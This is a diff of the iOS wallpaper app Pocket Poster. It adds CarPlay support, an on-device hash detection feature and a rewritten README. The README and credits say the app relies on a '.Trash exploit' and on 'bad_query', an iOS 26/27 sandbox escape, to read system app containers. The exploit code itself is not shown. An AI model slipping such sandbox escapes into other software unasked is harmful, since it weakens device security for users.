CarPlayView()
|
||||||
|
.tabItem {
|
||||||
|
Label("CarPlay", systemImage: "car")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ExploreView()
|
||||||
|
.tabItem {
|
||||||
|
Label("Explore", systemImage: "safari")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -15,44 +15,58 @@ struct SettingsView: View {
|
|||||||
|
|
||||||
@State var checkingForHash: Bool = false
|
@State var checkingForHash: Bool = false
|
||||||
@State var hashCheckTask: Task<Void, any Error>? = nil
|
@State var hashCheckTask: Task<Void, any Error>? = nil
|
||||||
|
@State var detectingOnDevice: Bool = false
|
||||||
|
|
||||||
var body: some View {
|
var body: some View {
|
||||||
List {
|
List {
|
||||||
Section {
|
Section {
|
||||||
VStack {
|
VStack(alignment: .leading, spacing: 10) {
|
||||||
TextField("Enter App Hash", text: $pbHash)
|
TextField("Enter PosterBoard App Hash", text: $pbHash)
|
||||||
|
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||||
|
.font(.system(.body, design: .monospaced))
|
||||||
|
if CarPlayManager.supportsCarPlay() {
|
||||||
|
TextField("Enter CarPlayWallpaper App Hash", text: $cpHash)
|
||||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||||
.font(.system(.body, design: .monospaced))
|
.font(.system(.body, design: .monospaced))
|
||||||
.onChange(of: pbHash) { _ in
|
|
||||||
var separator: String? = nil
|
|
||||||
if pbHash.contains(" ") {
|
|
||||||
separator = " "
|
|
||||||
} else if pbHash.contains("\n") {
|
|
||||||
separator = "\n"
|
|
||||||
}
|
|
||||||
if let separator = separator {
|
|
||||||
let items = pbHash.split(separator: separator)
|
|
||||||
if let pb = items.first {
|
|
||||||
pbHash = String(pb)
|
|
||||||
}
|
|
||||||
if items.count >= 2 {
|
|
||||||
cpHash = String(items[1])
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if SymHandler.prefersBadQuery {
|
||||||
|
Text("bad_query available — on-device detect works (no PC).")
|
||||||
|
.font(.caption)
|
||||||
|
.foregroundStyle(.secondary)
|
||||||
}
|
}
|
||||||
|
|
||||||
HStack {
|
HStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
|
// On-device detect via bad_query (iOS 26/27)
|
||||||
|
if SymHandler.prefersBadQuery {
|
||||||
|
Button(action: {
|
||||||
|
detectOnDevice()
|
||||||
|
}) {
|
||||||
|
if detectingOnDevice {
|
||||||
|
ProgressView()
|
||||||
|
} else {
|
||||||
|
Text("Detect On-Device")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
.foregroundStyle(.blue)
|
||||||
|
.disabled(detectingOnDevice)
|
||||||
|
}
|
||||||
|
|
||||||
// Run task to check until file exists from Nugget pc over AFC
|
// Run task to check until file exists from Nugget pc over AFC
|
||||||
Button(action: {
|
Button(action: {
|
||||||
UIApplication.shared.confirmAlert(title: "Waiting for app hash...", body: "Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", confirmTitle: "Cancel", onOK: {
|
if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) {
|
||||||
|
// don't show the alert because it is already there
|
||||||
|
UIApplication.shared.confirmAlert(title: NSLocalizedString("Waiting for app hash...", comment: ""), body: NSLocalizedString("Connect your device to Nugget and click the \"Pocket Poster Helper\" button.", comment: ""), confirmTitle: NSLocalizedString("Cancel", comment: ""), onOK: {
|
||||||
cancelWaitForHash()
|
cancelWaitForHash()
|
||||||
}, noCancel: true)
|
}, noCancel: true)
|
||||||
|
}
|
||||||
startWaitForHash()
|
startWaitForHash()
|
||||||
}) {
|
}) {
|
||||||
Text("Detect")
|
Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect")
|
||||||
}
|
}
|
||||||
.foregroundStyle(.green)
|
.foregroundStyle(.green)
|
||||||
.onChange(of: checkingForHash) {
|
.onChange(of: checkingForHash) { _ in
|
||||||
if !checkingForHash {
|
if !checkingForHash {
|
||||||
// hide ui alert
|
// hide ui alert
|
||||||
UIApplication.shared.dismissAlert(animated: true)
|
UIApplication.shared.dismissAlert(animated: true)
|
||||||
@@ -94,6 +108,17 @@ struct SettingsView: View {
|
|||||||
Label("Clear App Cache", systemImage: "trash.circle")
|
Label("Clear App Cache", systemImage: "trash.circle")
|
||||||
}
|
}
|
||||||
.foregroundStyle(.red)
|
.foregroundStyle(.red)
|
||||||
|
|
||||||
|
Button(action: {
|
||||||
|
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
|
||||||
|
UserDefaults.standard.set(nil, forKey: "ActiveCarPlayWallpapers")
|
||||||
|
try? FileManager.default.removeItem(at: CarPlayManager.getCarPlayPhotosURL())
|
||||||
|
Haptic.shared.notify(.success)
|
||||||
|
UIApplication.shared.alert(title: NSLocalizedString("CarPlay Applied Wallpapers Successfully Cleared!", comment: ""), body: "")
|
||||||
|
}) {
|
||||||
|
Label("Reset CarPlay Applied Wallpapers", systemImage: "trash.circle")
|
||||||
|
}
|
||||||
|
.foregroundStyle(.red)
|
||||||
} header: {
|
} header: {
|
||||||
Label("Actions", systemImage: "gear")
|
Label("Actions", systemImage: "gear")
|
||||||
}
|
}
|
||||||
@@ -136,10 +161,12 @@ struct SettingsView: View {
|
|||||||
|
|
||||||
// MARK: Credits
|
// MARK: Credits
|
||||||
Section {
|
Section {
|
||||||
|
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true)
|
||||||
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
||||||
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
|
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true)
|
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||||
|
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false)
|
||||||
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
||||||
} header: {
|
} header: {
|
||||||
@@ -148,10 +175,63 @@ struct SettingsView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Scan containers on-device with bad_query / fsgetpath — no computer needed.
|
||||||
|
func detectOnDevice() {
|
||||||
|
detectingOnDevice = true
|
||||||
|
UIApplication.shared.alert(
|
||||||
|
title: "Scanning containers…",
|
||||||
|
body: "Looking for PosterBoard via bad_query. This may take a moment.",
|
||||||
|
animated: true,
|
||||||
|
withButton: false
|
||||||
|
)
|
||||||
|
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
var pb: String?
|
||||||
|
var cp: String?
|
||||||
|
var errMsg: String?
|
||||||
|
|
||||||
|
do {
|
||||||
|
pb = try BadQuery.findPosterBoardHash()
|
||||||
|
} catch {
|
||||||
|
errMsg = error.localizedDescription
|
||||||
|
}
|
||||||
|
|
||||||
|
if CarPlayManager.supportsCarPlay() {
|
||||||
|
cp = try? BadQuery.findCarPlayHash()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Always show a closeable result alert (loading alert has no OK button —
|
||||||
|
// dismiss must complete before the next alert is presented).
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
detectingOnDevice = false
|
||||||
|
|
||||||
|
if let pb {
|
||||||
|
pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||||
|
if let cp {
|
||||||
|
cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||||
|
}
|
||||||
|
Haptic.shared.notify(.success)
|
||||||
|
let body = cp != nil
|
||||||
|
? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)"
|
||||||
|
: "PosterBoard:\n\(pbHash)"
|
||||||
|
// alert() auto-dismisses any previous (buttonless) sheet first
|
||||||
|
UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true)
|
||||||
|
} else {
|
||||||
|
Haptic.shared.notify(.error)
|
||||||
|
UIApplication.shared.alert(
|
||||||
|
title: "Detect failed",
|
||||||
|
body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.",
|
||||||
|
withButton: true
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func startWaitForHash() {
|
func startWaitForHash() {
|
||||||
checkingForHash = true
|
checkingForHash = true
|
||||||
hashCheckTask = Task {
|
hashCheckTask = Task {
|
||||||
let filePath = SymHandler.getLCDocumentsDirectory().appendingPathComponent("NuggetAppHash")
|
let filePath = SymHandler.getPosterBoardHashURL()
|
||||||
while !FileManager.default.fileExists(atPath: filePath.path()) {
|
while !FileManager.default.fileExists(atPath: filePath.path()) {
|
||||||
try? await Task.sleep(nanoseconds: 500_000_000) // Sleep 0.5s
|
try? await Task.sleep(nanoseconds: 500_000_000) // Sleep 0.5s
|
||||||
try Task.checkCancellation()
|
try Task.checkCancellation()
|
||||||
@@ -161,16 +241,17 @@ struct SettingsView: View {
|
|||||||
let contents = try String(contentsOf: filePath)
|
let contents = try String(contentsOf: filePath)
|
||||||
try? FileManager.default.removeItem(at: filePath)
|
try? FileManager.default.removeItem(at: filePath)
|
||||||
await MainActor.run {
|
await MainActor.run {
|
||||||
var separator = " "
|
pbHash = contents
|
||||||
if contents.contains("\n") {
|
|
||||||
separator = "\n"
|
|
||||||
}
|
}
|
||||||
let items = contents.split(separator: separator)
|
// check for carplay hash
|
||||||
if let pb = items.first {
|
if UIDevice.current.userInterfaceIdiom == .phone {
|
||||||
pbHash = String(pb)
|
let carplayPath = SymHandler.getCarPlayHashURL()
|
||||||
|
if FileManager.default.fileExists(atPath: carplayPath.path()) {
|
||||||
|
let carplayContents = try String(contentsOf: carplayPath)
|
||||||
|
try? FileManager.default.removeItem(at: carplayPath)
|
||||||
|
await MainActor.run {
|
||||||
|
cpHash = carplayContents
|
||||||
}
|
}
|
||||||
if items.count >= 2 {
|
|
||||||
cpHash = String(items[1])
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
<string>Owner</string>
|
<string>Owner</string>
|
||||||
<key>LSItemContentTypes</key>
|
<key>LSItemContentTypes</key>
|
||||||
<array>
|
<array>
|
||||||
<string>com.leemin.tendies</string>
|
<string>com.mak5er.tendies</string>
|
||||||
</array>
|
</array>
|
||||||
</dict>
|
</dict>
|
||||||
</array>
|
</array>
|
||||||
@@ -21,7 +21,7 @@
|
|||||||
<key>CFBundleTypeRole</key>
|
<key>CFBundleTypeRole</key>
|
||||||
<string>Editor</string>
|
<string>Editor</string>
|
||||||
<key>CFBundleURLName</key>
|
<key>CFBundleURLName</key>
|
||||||
<string>com.leemin.pocketposter</string>
|
<string>com.mak5er.pocketposter</string>
|
||||||
<key>CFBundleURLSchemes</key>
|
<key>CFBundleURLSchemes</key>
|
||||||
<array>
|
<array>
|
||||||
<string>pocketposter</string>
|
<string>pocketposter</string>
|
||||||
@@ -43,7 +43,7 @@
|
|||||||
<key>UTTypeIconFiles</key>
|
<key>UTTypeIconFiles</key>
|
||||||
<array/>
|
<array/>
|
||||||
<key>UTTypeIdentifier</key>
|
<key>UTTypeIdentifier</key>
|
||||||
<string>com.leemin.tendies</string>
|
<string>com.mak5er.tendies</string>
|
||||||
<key>UTTypeTagSpecification</key>
|
<key>UTTypeTagSpecification</key>
|
||||||
<dict>
|
<dict>
|
||||||
<key>public.filename-extension</key>
|
<key>public.filename-extension</key>
|
||||||
@@ -66,7 +66,7 @@
|
|||||||
<key>UTTypeIconFiles</key>
|
<key>UTTypeIconFiles</key>
|
||||||
<array/>
|
<array/>
|
||||||
<key>UTTypeIdentifier</key>
|
<key>UTTypeIdentifier</key>
|
||||||
<string>com.leemin.tendies</string>
|
<string>com.mak5er.tendies</string>
|
||||||
<key>UTTypeTagSpecification</key>
|
<key>UTTypeTagSpecification</key>
|
||||||
<dict>
|
<dict>
|
||||||
<key>public.filename-extension</key>
|
<key>public.filename-extension</key>
|
||||||
|
|||||||
@@ -1,19 +1,67 @@
|
|||||||
# Pocket Poster
|
<div align="center">
|
||||||
Custom PosterBoard animated wallpapers for iOS 17.0+
|
<img width="150" height="150" src="Pocket Poster/Assets.xcassets/AppIcon.appiconset/pocket_poster_transparent.png">
|
||||||
|
</div>
|
||||||
|
|
||||||
Community-made wallpapers can be found on the [official Cowabun.ga site](https://cowabun.ga/wallpapers). Join the [Cowabunga Discord Server](https://discord.gg/cowabunga) for additional help.
|
<div align="center">
|
||||||
|
<h1><b>Pocket Poster</b></h1>
|
||||||
|
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4</i></p>
|
||||||
|
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
|
||||||
|
<a href="https://celloserenity.github.io/altdirect/?url=https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/refs/heads/main/other/pocketposter_source.json" target="_blank">
|
||||||
|
<img src="https://raw.githubusercontent.com/CelloSerenity/altdirect/refs/heads/main/assets/png/AltSource_White.png" width="150">
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
## Download
|
||||||
|
|
||||||
|
Latest IPA: [**Releases**](https://github.com/Mak5er/Pocket-Poster/releases/latest)
|
||||||
|
|
||||||
|
CI builds an unsigned IPA on every push to `main` and publishes a GitHub Release when you push a tag like `v3.2.2` (or run **Release IPA** from Actions).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# cut a release from your machine
|
||||||
|
git tag v3.2.2 && git push origin v3.2.2
|
||||||
|
```
|
||||||
|
|
||||||
## Getting Started
|
## Getting Started
|
||||||
Since there is no way to read files currently, you will need a computer to get the App Hash/UUID.
|
|
||||||
|
|
||||||
Download [Nugget](https://github.com/leminlimez/Nugget) on your computer and plug in your phone. Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. Inside Pocket Poster, click the `Detect` button inside of settings.
|
### iOS 26 / 27.0b4 (bad_query)
|
||||||
|
On versions where [bad_query][badQueryGitHub] works, **no computer is required**:
|
||||||
|
1. Install the IPA (sideload with TrollStore / SideStore / etc.).
|
||||||
|
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
|
||||||
|
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
|
||||||
|
|
||||||
|
**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
|
||||||
|
|
||||||
|
### Older iOS (legacy .Trash exploit)
|
||||||
|
You will need a computer to get the App Hash/UUID.
|
||||||
|
|
||||||
|
Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
|
||||||
|
<br>Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button.
|
||||||
|
<br>Inside Pocket Poster, click the `Detect` button inside of settings.
|
||||||
|
|
||||||
|
Community-made wallpapers can be found on the [official Cowabun.ga site][CowabungaWallpapersPage].
|
||||||
|
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
|
||||||
|
|
||||||
## Credits
|
## Credits
|
||||||
- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort!
|
- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect
|
||||||
|
- [LeminLimez][LeminGitHub] — original Pocket Poster
|
||||||
|
- Translations crowdsourced using [POEditor][POEditorJoin]
|
||||||
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
||||||
- [dootskyre][dootskyreX] for the fallback shortcut
|
- [dootskyre][dootskyreX] for the fallback shortcut
|
||||||
- [Nathan](https://github.com/verygenericname) and [DuyKhanhTran](https://github.com/khanhduytran0) for the exploit
|
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
|
||||||
|
- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape)
|
||||||
|
- [SerStars][SerStarsX] for creating the website
|
||||||
|
|
||||||
|
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
|
||||||
|
[NuggetGitHub]: https://github.com/leminlimez/Nugget
|
||||||
|
[LeminGitHub]: https://github.com/leminlimez
|
||||||
|
[Mak5erGitHub]: https://github.com/Mak5er
|
||||||
|
[CowabungaDiscord]: https://discord.gg/cowabunga
|
||||||
|
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
|
||||||
|
|
||||||
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
|
[POEditorJoin]: https://poeditor.com/join/project/MPZOsunwVj
|
||||||
[PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh
|
|
||||||
[dootskyreX]: https://x.com/dootskyre
|
[dootskyreX]: https://x.com/dootskyre
|
||||||
|
[NathanGitHub]: https://github.com/verygenericname
|
||||||
|
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
|
||||||
|
[SerStarsX]: https://x.com/SerStars
|
||||||
|
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
|
||||||
+14
-3
@@ -1,5 +1,11 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
CONFIG="Release"
|
||||||
|
|
||||||
|
if [ "$1" == "-d" ]; then
|
||||||
|
CONFIG="Debug"
|
||||||
|
fi
|
||||||
|
|
||||||
set -e
|
set -e
|
||||||
|
|
||||||
cd "$(dirname "$0")"
|
cd "$(dirname "$0")"
|
||||||
@@ -15,13 +21,13 @@ cd build
|
|||||||
|
|
||||||
xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \
|
xcodebuild -project "$WORKING_LOCATION/$APPLICATION_NAME.xcodeproj" \
|
||||||
-scheme "$APPLICATION_NAME" \
|
-scheme "$APPLICATION_NAME" \
|
||||||
-configuration Release \
|
-configuration "$CONFIG" \
|
||||||
-derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \
|
-derivedDataPath "$WORKING_LOCATION/build/DerivedDataApp" \
|
||||||
-destination 'generic/platform=iOS' \
|
-destination 'generic/platform=iOS' \
|
||||||
clean build \
|
clean build \
|
||||||
CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO"
|
CODE_SIGN_IDENTITY="" CODE_SIGNING_REQUIRED=NO CODE_SIGN_ENTITLEMENTS="" CODE_SIGNING_ALLOWED="NO"
|
||||||
|
|
||||||
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/Release-iphoneos/$APPLICATION_NAME.app"
|
DD_APP_PATH="$WORKING_LOCATION/build/DerivedDataApp/Build/Products/$CONFIG-iphoneos/$APPLICATION_NAME.app"
|
||||||
TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app"
|
TARGET_APP="$WORKING_LOCATION/build/$APPLICATION_NAME.app"
|
||||||
cp -r "$DD_APP_PATH" "$TARGET_APP"
|
cp -r "$DD_APP_PATH" "$TARGET_APP"
|
||||||
|
|
||||||
@@ -36,7 +42,12 @@ fi
|
|||||||
mkdir Payload
|
mkdir Payload
|
||||||
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
|
cp -r "${APPLICATION_NAME}.app" "Payload/${APPLICATION_NAME}.app"
|
||||||
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
|
strip "Payload/${APPLICATION_NAME}.app/${APPLICATION_NAME}"
|
||||||
zip -vr "${APPLICATION_NAME}.ipa" Payload
|
# quiet zip for CI logs; name with underscore for download URLs
|
||||||
|
zip -qr "Pocket_Poster.ipa" Payload
|
||||||
|
# keep legacy name too
|
||||||
|
cp "Pocket_Poster.ipa" "${APPLICATION_NAME}.ipa"
|
||||||
rm -rf "${APPLICATION_NAME}.app"
|
rm -rf "${APPLICATION_NAME}.app"
|
||||||
rm -rf Payload
|
rm -rf Payload
|
||||||
|
echo "Built: $WORKING_LOCATION/build/Pocket_Poster.ipa"
|
||||||
|
echo "Built: $WORKING_LOCATION/build/${APPLICATION_NAME}.ipa"
|
||||||
|
|
||||||
Reference in new issue
Block a user